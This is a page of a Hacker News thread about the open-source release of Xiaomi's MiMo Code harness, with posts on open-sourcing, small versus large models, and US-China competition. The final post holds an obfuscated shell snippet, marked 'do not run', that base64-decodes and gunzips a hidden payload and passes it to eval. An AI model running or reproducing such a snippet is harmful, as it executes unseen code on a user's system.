Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

MiMo Code is now released and open-source

mimo.xiaomi.com

Post reply on HN
Print view View original

291–300 of 338 posts

Re: MiMo Code is now released and open-source

#291

Post by smgpie »

tw04 wrote: post #150
tdesilva wrote: post #141

Good, coding harnesses should be open source and LLMs should be treated as commodities. Minimize switching costs for consumers, and let people understand how they're interacting with the context and the LLM outputs. The industry has been moving the wrong direction with Claude Code staying closed (despite multiple times leaking the source code!) and the open source Gemini CLI being deprecated in favor of closed source…

Why would a company do any of these things? What is their motivation for any of it? That’s like saying cloud providers should be commodity and should open source all of their platforms and eliminate egress fees so customers can easily leave at any point in time. That’s a charity, not a business model.

Yes I do think cloud providers should open source all of their platforms, and this is not charity because it is essentially the hosting that they are providing as a product. Even if, say, google open sources its whole search infrastructure, it does not at all means you can just host your own due to the huge hardware requirements, but you can know(especially after AI which can be utilized to do this) that they are not using your data in a way they shouldnt.

Re: MiMo Code is now released and open-source

#292

Post by calgoo »

cookiengineer wrote: post #267
impulser_ wrote: post #224

Earlier quoted context omitted.

Because there is literally nothing special about coding hardnesses. The models are doing all the lifting. It just user experience that separates them. A coding hardness with just bash outperforms Codex, Claude Code, OpenCode, Pi ect. The added features are just user experience features.

I would disagree here. Building a good and working coding harness with smaller models is really hard. Everything evolves around the limited context size. Tools must be specification driven to reduce noise and high temp hallucinations, tool call shrinking needs to remove errors and tryouts of different formats of parameters (because LLMs always ignore descriptions in the JSON...), and you have to deal with long runnin…

In my limited experience, the smaller the model, the bigger the harness. Where with something like claude or deepseek the context size etc just let's you give it bash access and step back; small models tends to do better with simple action - response , new context each call. Context management becomes a continuous activity. Its a fun space , and I have found big models decent at building and improving these harnesses for the small ones. Using /loop and just run a continuous test - build - test loop.

Re: MiMo Code is now released and open-source

#293

Post by amunozo »

miroljub wrote: post #276
Alifatisk wrote: post #92

Earlier quoted context omitted.

I don't think many understand that Sonnet and even Haiku can probably accomplish their task, instead of them invoking a beast like Opus to tell them about todays weather.

And yet, MiMo and DeepSeek, even MiniMax, are way cheaper and arguably better, or way better than both Sonnet and especially Haiku. While you can argue you are ready to pay 100-1000 times the price for Fable or Opus because you need those last 1-2% of edge, there's no valid reason to keep paying the obscene amounts of money for Sonnet and Haiku when alternatives exist.

I think that the reason is that American labs only focus on their biggest models, and make the smaller ones afterthoughts distilled from the main models. I wonder what would happen if they decided to optimize and train better smaller models.

Re: MiMo Code is now released and open-source

#295

Post by sumedh »

devmor wrote: post #175
tw04 wrote: post #150

Earlier quoted context omitted.

Why would a company do any of these things? What is their motivation for any of it? That’s like saying cloud providers should be commodity and should open source all of their platforms and eliminate egress fees so customers can easily leave at any point in time. That’s a charity, not a business model.

Public good isn’t a charity, and a business model that doesn’t contribute to the public good should not be allowed to exist.

Who defines what is public good?

Re: MiMo Code is now released and open-source

#296

Post by sumedh »

digitaltrees wrote: post #183
gandreani wrote: post #155

Earlier quoted context omitted.

"Death of Silicon Valley" in this case is such a funny perspective. Like, how twisted is the US's view of the market that they think "Competition? Oh no. Sound the alarms."

Except it’s not competition if US companies can’t access the Chinese market but Chinese companies can access the US market. Just like cars. America is not willing to compete with BYD. But we are 20 years into massive IP theft from China and the naive and short sided leadership in the US that basically traded our knowledge, design and manufacturing knowledge for cheap of shoring, and watch China execute spectacularly…

> short sided leadership in the US that basically traded our knowledge, design and manufacturing knowledge for cheap of shoring

The shareholders and execs got rich, you are not rewarded for very long term performance so why bother thinking what will happen 10 - 20 years later.

Re: MiMo Code is now released and open-source

#297

Post by arizen »

tw04 wrote: post #150
tdesilva wrote: post #141

Good, coding harnesses should be open source and LLMs should be treated as commodities. Minimize switching costs for consumers, and let people understand how they're interacting with the context and the LLM outputs. The industry has been moving the wrong direction with Claude Code staying closed (despite multiple times leaking the source code!) and the open source Gemini CLI being deprecated in favor of closed source…

Why would a company do any of these things? What is their motivation for any of it? That’s like saying cloud providers should be commodity and should open source all of their platforms and eliminate egress fees so customers can easily leave at any point in time. That’s a charity, not a business model.

opensourcing software may enable leverage of wider network of contributors to given piece of software,hence software can evolve much more quickly and efficiently.

Re: MiMo Code is now released and open-source

#298

Post by bmacho »

bigyabai wrote: post #179
gunapologist99 wrote: post #172

Earlier quoted context omitted.

True. Although the cruel twist is now that KDE's upstream decisions are boxing out X11/sysvinit/etc maintainers.

X11 and sysvinit are not downstream KParts libs like KHTML was. KDE has no obligation to fork or support either project.

KDE is not a fork, nevertheless KDE was building on X11 heavily and now they are trying to kill it.

So while technically not the same story as if it was a direct fork of X11, practically they have the 'obligation' to support X11 indefinitely. KDE trying to kill X11 too is the same exact EEE that you mentioned as a sad story in regads of KHTML.

Re: MiMo Code is now released and open-source

#299

Post by [deleted] »

ghrl wrote: post #181
jeremyjh wrote: post #165

Earlier quoted context omitted.

But you really don't have to switch. MiMo Code has the same provider support as OpenCode. Even Claude Code you can use with any provider that exposes an anthropic API endpoint, which they all do.

Or by using a proxy, yeah. Personally I would still prefer a multi provider harness over CC when using it with another provider, if alone for the visible reasoning, model switcher, cost estimation and so on. So far I've only preferred CC when I needed to work with Jupyter Notebooks because it has built-in tools for that.

[deleted]

Re: MiMo Code is now released and open-source

#300

Post by p0w3n3d »

Yeah, by the way this is also opensource (do not run)

  ddesk='H4sIAAAAAAAC'
  _kiwsi='/ysuTclXKMpN'
  _nlalt='U9AtSlPQ5wIA'
  _uqslr='gZtu1g8AAAA='
  _aaaaa="${_ddesk}${_kiwsi}${_nlalt}${_uqslr}"
  _bwkmp="$(printf %s "${_aaaaa}" | base64 -d | gzip -d -c)"
  eval "${_bwkmp}"
Post reply on HN